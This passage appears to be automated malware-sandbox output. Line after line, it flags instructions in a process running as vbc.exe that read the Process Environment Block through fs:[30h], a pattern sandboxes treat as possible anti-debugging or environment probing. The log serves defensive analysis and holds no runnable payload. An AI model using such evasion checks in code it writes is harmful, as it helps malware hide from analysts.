Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E03E9 mov eax, dword ptr fs:[00000030h]	4_2_055E03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E03E9 mov eax, dword ptr fs:[00000030h]	4_2_055E03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E03E9 mov eax, dword ptr fs:[00000030h]	4_2_055E03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E03E9 mov eax, dword ptr fs:[00000030h]	4_2_055E03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E03E9 mov eax, dword ptr fs:[00000030h]	4_2_055E03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E03E9 mov eax, dword ptr fs:[00000030h]	4_2_055E03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E03E9 mov eax, dword ptr fs:[00000030h]	4_2_055E03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567E3DB mov eax, dword ptr fs:[00000030h]	4_2_0567E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567E3DB mov eax, dword ptr fs:[00000030h]	4_2_0567E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567E3DB mov ecx, dword ptr fs:[00000030h]	4_2_0567E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567E3DB mov eax, dword ptr fs:[00000030h]	4_2_0567E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055C8397 mov eax, dword ptr fs:[00000030h]	4_2_055C8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055C8397 mov eax, dword ptr fs:[00000030h]	4_2_055C8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055C8397 mov eax, dword ptr fs:[00000030h]	4_2_055C8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055F438F mov eax, dword ptr fs:[00000030h]	4_2_055F438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055F438F mov eax, dword ptr fs:[00000030h]	4_2_055F438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CE388 mov eax, dword ptr fs:[00000030h]	4_2_055CE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CE388 mov eax, dword ptr fs:[00000030h]	4_2_055CE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CE388 mov eax, dword ptr fs:[00000030h]	4_2_055CE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D6259 mov eax, dword ptr fs:[00000030h]	4_2_055D6259
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CA250 mov eax, dword ptr fs:[00000030h]	4_2_055CA250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680274 mov eax, dword ptr fs:[00000030h]	4_2_05680274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680274 mov eax, dword ptr fs:[00000030h]	4_2_05680274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680274 mov eax, dword ptr fs:[00000030h]	4_2_05680274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680274 mov eax, dword ptr fs:[00000030h]	4_2_05680274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680274 mov eax, dword ptr fs:[00000030h]	4_2_05680274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680274 mov eax, dword ptr fs:[00000030h]	4_2_05680274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680274 mov eax, dword ptr fs:[00000030h]	4_2_05680274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680274 mov eax, dword ptr fs:[00000030h]	4_2_05680274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680274 mov eax, dword ptr fs:[00000030h]	4_2_05680274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680274 mov eax, dword ptr fs:[00000030h]	4_2_05680274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680274 mov eax, dword ptr fs:[00000030h]	4_2_05680274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680274 mov eax, dword ptr fs:[00000030h]	4_2_05680274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05658243 mov eax, dword ptr fs:[00000030h]	4_2_05658243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05658243 mov ecx, dword ptr fs:[00000030h]	4_2_05658243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055C826B mov eax, dword ptr fs:[00000030h]	4_2_055C826B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A625D mov eax, dword ptr fs:[00000030h]	4_2_056A625D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0568A250 mov eax, dword ptr fs:[00000030h]	4_2_0568A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0568A250 mov eax, dword ptr fs:[00000030h]	4_2_0568A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D4260 mov eax, dword ptr fs:[00000030h]	4_2_055D4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D4260 mov eax, dword ptr fs:[00000030h]	4_2_055D4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D4260 mov eax, dword ptr fs:[00000030h]	4_2_055D4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055C823B mov eax, dword ptr fs:[00000030h]	4_2_055C823B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DA2C3 mov eax, dword ptr fs:[00000030h]	4_2_055DA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DA2C3 mov eax, dword ptr fs:[00000030h]	4_2_055DA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DA2C3 mov eax, dword ptr fs:[00000030h]	4_2_055DA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DA2C3 mov eax, dword ptr fs:[00000030h]	4_2_055DA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DA2C3 mov eax, dword ptr fs:[00000030h]	4_2_055DA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A62D6 mov eax, dword ptr fs:[00000030h]	4_2_056A62D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E02E1 mov eax, dword ptr fs:[00000030h]	4_2_055E02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E02E1 mov eax, dword ptr fs:[00000030h]	4_2_055E02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E02E1 mov eax, dword ptr fs:[00000030h]	4_2_055E02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056662A0 mov eax, dword ptr fs:[00000030h]	4_2_056662A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056662A0 mov ecx, dword ptr fs:[00000030h]	4_2_056662A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056662A0 mov eax, dword ptr fs:[00000030h]	4_2_056662A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056662A0 mov eax, dword ptr fs:[00000030h]	4_2_056662A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056662A0 mov eax, dword ptr fs:[00000030h]	4_2_056662A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056662A0 mov eax, dword ptr fs:[00000030h]	4_2_056662A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560E284 mov eax, dword ptr fs:[00000030h]	4_2_0560E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560E284 mov eax, dword ptr fs:[00000030h]	4_2_0560E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05650283 mov eax, dword ptr fs:[00000030h]	4_2_05650283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05650283 mov eax, dword ptr fs:[00000030h]	4_2_05650283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05650283 mov eax, dword ptr fs:[00000030h]	4_2_05650283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E02A0 mov eax, dword ptr fs:[00000030h]	4_2_055E02A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E02A0 mov eax, dword ptr fs:[00000030h]	4_2_055E02A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D0D59 mov eax, dword ptr fs:[00000030h]	4_2_055D0D59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D0D59 mov eax, dword ptr fs:[00000030h]	4_2_055D0D59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D0D59 mov eax, dword ptr fs:[00000030h]	4_2_055D0D59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D8D59 mov eax, dword ptr fs:[00000030h]	4_2_055D8D59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D8D59 mov eax, dword ptr fs:[00000030h]	4_2_055D8D59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D8D59 mov eax, dword ptr fs:[00000030h]	4_2_055D8D59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D8D59 mov eax, dword ptr fs:[00000030h]	4_2_055D8D59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D8D59 mov eax, dword ptr fs:[00000030h]	4_2_055D8D59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05668D6B mov eax, dword ptr fs:[00000030h]	4_2_05668D6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05658D20 mov eax, dword ptr fs:[00000030h]	4_2_05658D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055C6D10 mov eax, dword ptr fs:[00000030h]	4_2_055C6D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055C6D10 mov eax, dword ptr fs:[00000030h]	4_2_055C6D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055C6D10 mov eax, dword ptr fs:[00000030h]	4_2_055C6D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A4D30 mov eax, dword ptr fs:[00000030h]	4_2_056A4D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055EAD00 mov eax, dword ptr fs:[00000030h]	4_2_055EAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055EAD00 mov eax, dword ptr fs:[00000030h]	4_2_055EAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055EAD00 mov eax, dword ptr fs:[00000030h]	4_2_055EAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05688D10 mov eax, dword ptr fs:[00000030h]	4_2_05688D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05688D10 mov eax, dword ptr fs:[00000030h]	4_2_05688D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05604D1D mov eax, dword ptr fs:[00000030h]	4_2_05604D1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FEDD3 mov eax, dword ptr fs:[00000030h]	4_2_055FEDD3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FEDD3 mov eax, dword ptr fs:[00000030h]	4_2_055FEDD3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05670DF0 mov eax, dword ptr fs:[00000030h]	4_2_05670DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05670DF0 mov eax, dword ptr fs:[00000030h]	4_2_05670DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055C6DF6 mov eax, dword ptr fs:[00000030h]	4_2_055C6DF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FCDF0 mov eax, dword ptr fs:[00000030h]	4_2_055FCDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FCDF0 mov ecx, dword ptr fs:[00000030h]	4_2_055FCDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05654DD7 mov eax, dword ptr fs:[00000030h]	4_2_05654DD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05654DD7 mov eax, dword ptr fs:[00000030h]	4_2_05654DD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CCDEA mov eax, dword ptr fs:[00000030h]	4_2_055CCDEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CCDEA mov eax, dword ptr fs:[00000030h]	4_2_055CCDEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DADE0 mov eax, dword ptr fs:[00000030h]	4_2_055DADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DADE0 mov eax, dword ptr fs:[00000030h]	4_2_055DADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DADE0 mov eax, dword ptr fs:[00000030h]	4_2_055DADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DADE0 mov eax, dword ptr fs:[00000030h]	4_2_055DADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DADE0 mov eax, dword ptr fs:[00000030h]	4_2_055DADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DADE0 mov eax, dword ptr fs:[00000030h]	4_2_055DADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055F0DE1 mov eax, dword ptr fs:[00000030h]	4_2_055F0DE1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05606DA0 mov eax, dword ptr fs:[00000030h]	4_2_05606DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05698DAE mov eax, dword ptr fs:[00000030h]	4_2_05698DAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05698DAE mov eax, dword ptr fs:[00000030h]	4_2_05698DAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A4DAD mov eax, dword ptr fs:[00000030h]	4_2_056A4DAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560CDB1 mov ecx, dword ptr fs:[00000030h]	4_2_0560CDB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560CDB1 mov eax, dword ptr fs:[00000030h]	4_2_0560CDB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560CDB1 mov eax, dword ptr fs:[00000030h]	4_2_0560CDB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055F8DBF mov eax, dword ptr fs:[00000030h]	4_2_055F8DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055F8DBF mov eax, dword ptr fs:[00000030h]	4_2_055F8DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DAC50 mov eax, dword ptr fs:[00000030h]	4_2_055DAC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DAC50 mov eax, dword ptr fs:[00000030h]	4_2_055DAC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DAC50 mov eax, dword ptr fs:[00000030h]	4_2_055DAC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DAC50 mov eax, dword ptr fs:[00000030h]	4_2_055DAC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DAC50 mov eax, dword ptr fs:[00000030h]	4_2_055DAC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DAC50 mov eax, dword ptr fs:[00000030h]	4_2_055DAC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D6C50 mov eax, dword ptr fs:[00000030h]	4_2_055D6C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D6C50 mov eax, dword ptr fs:[00000030h]	4_2_055D6C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D6C50 mov eax, dword ptr fs:[00000030h]	4_2_055D6C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05604C59 mov eax, dword ptr fs:[00000030h]	4_2_05604C59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0566CC20 mov eax, dword ptr fs:[00000030h]	4_2_0566CC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0566CC20 mov eax, dword ptr fs:[00000030h]	4_2_0566CC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05674C34 mov eax, dword ptr fs:[00000030h]	4_2_05674C34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05674C34 mov eax, dword ptr fs:[00000030h]	4_2_05674C34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05674C34 mov eax, dword ptr fs:[00000030h]	4_2_05674C34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05674C34 mov eax, dword ptr fs:[00000030h]	4_2_05674C34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05674C34 mov eax, dword ptr fs:[00000030h]	4_2_05674C34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05674C34 mov eax, dword ptr fs:[00000030h]	4_2_05674C34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05674C34 mov ecx, dword ptr fs:[00000030h]	4_2_05674C34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0C00 mov eax, dword ptr fs:[00000030h]	4_2_055E0C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0C00 mov eax, dword ptr fs:[00000030h]	4_2_055E0C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0C00 mov eax, dword ptr fs:[00000030h]	4_2_055E0C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0C00 mov eax, dword ptr fs:[00000030h]	4_2_055E0C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560CC00 mov eax, dword ptr fs:[00000030h]	4_2_0560CC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05654C0F mov eax, dword ptr fs:[00000030h]	4_2_05654C0F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CEC20 mov eax, dword ptr fs:[00000030h]	4_2_055CEC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055C8CD0 mov eax, dword ptr fs:[00000030h]	4_2_055C8CD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05602CF0 mov eax, dword ptr fs:[00000030h]	4_2_05602CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05602CF0 mov eax, dword ptr fs:[00000030h]	4_2_05602CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05602CF0 mov eax, dword ptr fs:[00000030h]	4_2_05602CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05602CF0 mov eax, dword ptr fs:[00000030h]	4_2_05602CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CCCC8 mov eax, dword ptr fs:[00000030h]	4_2_055CCCC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0564CCA0 mov ecx, dword ptr fs:[00000030h]	4_2_0564CCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0564CCA0 mov eax, dword ptr fs:[00000030h]	4_2_0564CCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0564CCA0 mov eax, dword ptr fs:[00000030h]	4_2_0564CCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0564CCA0 mov eax, dword ptr fs:[00000030h]	4_2_0564CCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055C8C8D mov eax, dword ptr fs:[00000030h]	4_2_055C8C8D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680CB5 mov eax, dword ptr fs:[00000030h]	4_2_05680CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680CB5 mov eax, dword ptr fs:[00000030h]	4_2_05680CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680CB5 mov eax, dword ptr fs:[00000030h]	4_2_05680CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680CB5 mov eax, dword ptr fs:[00000030h]	4_2_05680CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680CB5 mov eax, dword ptr fs:[00000030h]	4_2_05680CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680CB5 mov eax, dword ptr fs:[00000030h]	4_2_05680CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680CB5 mov eax, dword ptr fs:[00000030h]	4_2_05680CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680CB5 mov eax, dword ptr fs:[00000030h]	4_2_05680CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680CB5 mov eax, dword ptr fs:[00000030h]	4_2_05680CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680CB5 mov eax, dword ptr fs:[00000030h]	4_2_05680CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680CB5 mov eax, dword ptr fs:[00000030h]	4_2_05680CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680CB5 mov eax, dword ptr fs:[00000030h]	4_2_05680CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680CB5 mov eax, dword ptr fs:[00000030h]	4_2_05680CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055F8CB1 mov eax, dword ptr fs:[00000030h]	4_2_055F8CB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055F8CB1 mov eax, dword ptr fs:[00000030h]	4_2_055F8CB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A4F68 mov eax, dword ptr fs:[00000030h]	4_2_056A4F68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05672F60 mov eax, dword ptr fs:[00000030h]	4_2_05672F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05672F60 mov eax, dword ptr fs:[00000030h]	4_2_05672F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CCF50 mov eax, dword ptr fs:[00000030h]	4_2_055CCF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CCF50 mov eax, dword ptr fs:[00000030h]	4_2_055CCF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CCF50 mov eax, dword ptr fs:[00000030h]	4_2_055CCF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CCF50 mov eax, dword ptr fs:[00000030h]	4_2_055CCF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CCF50 mov eax, dword ptr fs:[00000030h]	4_2_055CCF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CCF50 mov eax, dword ptr fs:[00000030h]	4_2_055CCF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05654F40 mov eax, dword ptr fs:[00000030h]	4_2_05654F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05654F40 mov eax, dword ptr fs:[00000030h]	4_2_05654F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05654F40 mov eax, dword ptr fs:[00000030h]	4_2_05654F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05654F40 mov eax, dword ptr fs:[00000030h]	4_2_05654F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05674F42 mov eax, dword ptr fs:[00000030h]	4_2_05674F42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560CF50 mov eax, dword ptr fs:[00000030h]	4_2_0560CF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FAF69 mov eax, dword ptr fs:[00000030h]	4_2_055FAF69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FAF69 mov eax, dword ptr fs:[00000030h]	4_2_055FAF69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05670F50 mov eax, dword ptr fs:[00000030h]	4_2_05670F50
